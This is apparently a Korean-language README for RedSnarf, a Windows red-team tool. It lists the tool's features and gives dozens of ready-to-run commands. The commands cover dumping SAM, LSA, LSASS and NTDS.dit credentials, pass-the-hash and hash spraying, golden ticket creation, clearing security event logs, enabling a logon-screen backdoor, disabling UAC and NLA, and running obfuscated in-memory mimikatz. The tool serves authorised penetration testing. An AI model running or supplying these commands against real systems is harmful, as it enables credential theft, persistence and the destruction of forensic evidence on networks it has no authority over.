
RedSnarf는 Windows 환경을 위한 침투 테스트 / 레드 팀 도구입니다.
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
[email protected]
@redsnarf
RedSnarf는 Ed Williams가 개발한 침투 테스트 / 레드팀 도구로, OpSec 안전 기술을 사용하여 Windows 워크스테이션, 서버 및 도메인 컨트롤러에서 해시와 자격 증명을 검색합니다.
YouTube 채널에서 동영상 보기 https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ
RedSnarf 기능:
• 로컬 SAM 해시 검색
• 상승된 시스템 권한으로 실행 중인 사용자 및 해당 LSA 시크릿 비밀번호 열거;
• MS 캐시된 자격 증명 검색;
• Pass-the-hash;
• 취약하고 추측 가능한 사용자 이름/비밀번호 조합 빠른 식별 (기본값: administrator/Password01);
• 범위 전체에서 해시 검색 기능;
• 해시 스프레이 -
Credsfile은 pwdump, fgdump 및 공백으로 구분된 일반 텍스트 사용자 이름과 비밀번호를 혼합하여 허용;
• Mimikatz를 사용한 오프라인 분석을 위한 Lsass 덤프;
• NTDSUtil을 사용한 도메인 컨트롤러 해시 덤프 및 로컬 파싱을 위한 NTDS.dit 검색;
• drsuapi 방식을 사용한 도메인 컨트롤러 해시 덤프;
• 도메인 컨트롤러에서 스크립트 및 정책 폴더 검색 및 'password', 'administrator' 문자열 파싱;
• cpassword 해시 복호화 기능;
• 원격 머신에서 쉘 시작 기능;
• 이벤트 로그 지우기 기능 (애플리케이션, 보안, 설정 또는 시스템); (내부 버전 전용)
• 호스트별로 결과 저장하여 분석 가능.
• 원격 머신에서 RDP 활성화/비활성화.
• 원격 머신에서 RDP 포트를 3389에서 443으로 변경.
• 원격 머신에서 NLA 활성화/비활성화.
• 원격 머신에 사용자가 로그인한 위치 찾기.
• Windows 로그온 화면 백도어
• 원격 머신에서 UAC 활성화/비활성화.
• 스텔스 mimikatz 추가됨.
• 도메인 해시 파싱
• 계정이 활성/비활성 상태인지 확인 기능
• 원격 로그온 활성 사용자 바탕화면 스크린샷 찍기
• 원격 로그온 활성 사용자 바탕화면 녹화
• Windows CPassword 복호화
• WinSCP 비밀번호 복호화
• 사용자 SPN 가져오기
• 원격 머신에서 WIFI 비밀번호 검색
요구사항:
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
procdump을 사용한 Lsass 검색 - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - 로컬에서 Mimikatz 정보 파싱 시 사용
도움말 보기
./redsnarf.py -h
./redsnarf.py --help
약한 로컬 자격 증명을 사용하고 보안 이벤트 로그를 지우면서 단일 머신에서 로컬 해시 검색
./redsnarf.py -H ip=10.0.0.50 -uC security
약한 로컬 자격 증명을 사용하고 애플리케이션 이벤트 로그를 지우면서 단일 머신에서 로컬 해시 검색
./redsnarf.py -H ip=10.0.0.50 -uC application
로컬 관리자 자격 증명을 사용하여 단일 머신에서 로컬 해시 검색
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .
도메인 관리자 자격 증명을 사용하여 단일 머신에서 로컬 해시 검색
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com
로컬 관리자 자격 증명을 사용하여 네트워크 범위 전체에서 해시 검색
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .
도메인 관리자 자격 증명을 사용하여 네트워크 범위 전체에서 해시 검색
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com
도메인 관리자 자격 증명을 사용하여 네트워크 범위 전체에서 해시 검색
./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com
네트워크 범위에 해시 스프레이
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .
도메인 로그인을 사용하여 네트워크 범위 전체에서 해시 검색
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com
자격 증명 빠른 확인
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y
파일(사용자 이름 목록)과 일반 비밀번호를 사용한 빠른 확인
./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y
drsuapi 방식을 사용하여 해시 검색 (가장 빠름)
이 방식은 선택적 플래그 -q y를 지원하며, LDAP를 쿼리하여 계정이 활성인지 비활성인지 출력합니다.
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)
NTDSUtil을 사용하여 해시 검색
이 방식은 선택적 플래그 -q y를 지원하며, LDAP를 쿼리하여 계정이 활성인지 비활성인지 출력합니다.
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)
골든 티켓 생성
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y
도메인 컨트롤러에서 Policies and Scripts 폴더를 복사하고 password 및 administrator 문자열을 파싱합니다.
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y
Cpassword 복호화
./redsnarf.py -uG cpassword
사용자 찾기 - 실시간
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name
사용자 찾기 - 오프라인 (미리 다운로드한 정보 검색)
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name
NT AUTHORITY\SYSTEM 작업 목록 표시
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y
원격 로그온 활성 사용자의 바탕화면 스크린샷
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y
로컬 관리자 자격 증명을 사용하여 머신에서 쉘 시작
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y
도메인 관리자 자격 증명을 사용하여 머신에서 쉘 시작
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y
로컬 관리자 자격 증명을 사용하여 머신에서 lsass 복사본을 가져와 오프라인에서 Mimikatz로 파싱
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y
스텔스 mimikatz 실행. 이 옵션은 웹 서버를 시작하여 PowerShell 스크립트를 제공합니다. 스크립트는 난독화 및 인코딩되어 머신 측에서 실행되며, 데이터가 디스크에 닿지 않습니다. 자격 증명은 읽기 쉬운 스타일로 grep되어 화면에 출력됩니다.
./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y
사용자 정의 명령 실행
예제 1
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'
예제 2 - 큰따옴표는 \로 이스케이프해야 함
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'
로컬 액세스 토큰 정책
lat.bat 배치 파일을 생성합니다. 이 파일을 원격 머신에 복사하여 붙여넣고 실행하면 레지스트리를 수정하여 로컬 액세스 토큰 정책 설정을 활성화 또는 비활성화합니다.
./redsnarf.py -rL y
Wdigest
도메인 관리자 자격 증명을 사용하여 머신에서 UseLogonCredential Wdigest 레지스트리 값 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e
도메인 관리자 자격 증명을 사용하여 머신에서 UseLogonCredential Wdigest 레지스트리 값 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d
도메인 관리자 자격 증명을 사용하여 머신에서 UseLogonCredential Wdigest 레지스트리 값 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q
UAC
도메인 관리자 자격 증명을 사용하여 머신에서 UAC 레지스트리 값 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e
도메인 관리자 자격 증명을 사용하여 머신에서 UAC 레지스트리 값 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d
도메인 관리자 자격 증명을 사용하여 머신에서 UAC 레지스트리 값 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q
백도어 - Windows 화면 백도어 - 왼쪽 Shift + 왼쪽 Alt + Print Screen을 눌러 활성화
도메인 관리자 자격 증명을 사용하여 머신에서 백도어 레지스트리 값 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e
도메인 관리자 자격 증명을 사용하여 머신에서 백도어 레지스트리 값 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d
도메인 관리자 자격 증명을 사용하여 머신에서 백도어 레지스트리 값 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q
자동 로그온
도메인 관리자 자격 증명을 사용하여 머신에서 Windows 자동 로그온 레지스트리 값 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e
도메인 관리자 자격 증명을 사용하여 머신에서 Windows 자동 로그온 레지스트리 값 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d
도메인 관리자 자격 증명을 사용하여 머신에서 Windows 자동 로그온 레지스트리 값 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q
도메인 관리자 자격 증명을 사용하여 원격 머신의 사용자 세션 잠금
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y
도메인 관리자 자격 증명을 사용하여 머신에서 RDP 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e
도메인 관리자 자격 증명을 사용하여 머신에서 RDP 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d
도메인 관리자 자격 증명을 사용하여 머신에서 RDP 상태 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q
RDP 포트를 3389에서 443으로 변경 - 도메인 관리자 자격 증명을 사용하여 머신에서 RDP 포트를 443으로 변경
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e
도메인 관리자 자격 증명을 사용하여 머신에서 RDP 포트를 기본값 3389로 변경
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d
도메인 관리자 자격 증명을 사용하여 머신에서 RDP 포트 값 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q
Mimikatz로 다중 RDP 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y
도메인 관리자 자격 증명을 사용하여 머신에서 RDP SingleSessionPerUser 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e
도메인 관리자 자격 증명을 사용하여 머신에서 RDP SingleSessionPerUser 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d
도메인 관리자 자격 증명을 사용하여 머신에서 RDP SingleSessionPerUser 상태 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q
도메인 관리자 자격 증명을 사용하여 머신에서 NLA 활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e
도메인 관리자 자격 증명을 사용하여 머신에서 NLA 비활성화
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d
도메인 관리자 자격 증명을 사용하여 머신에서 NLA 상태 쿼리
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q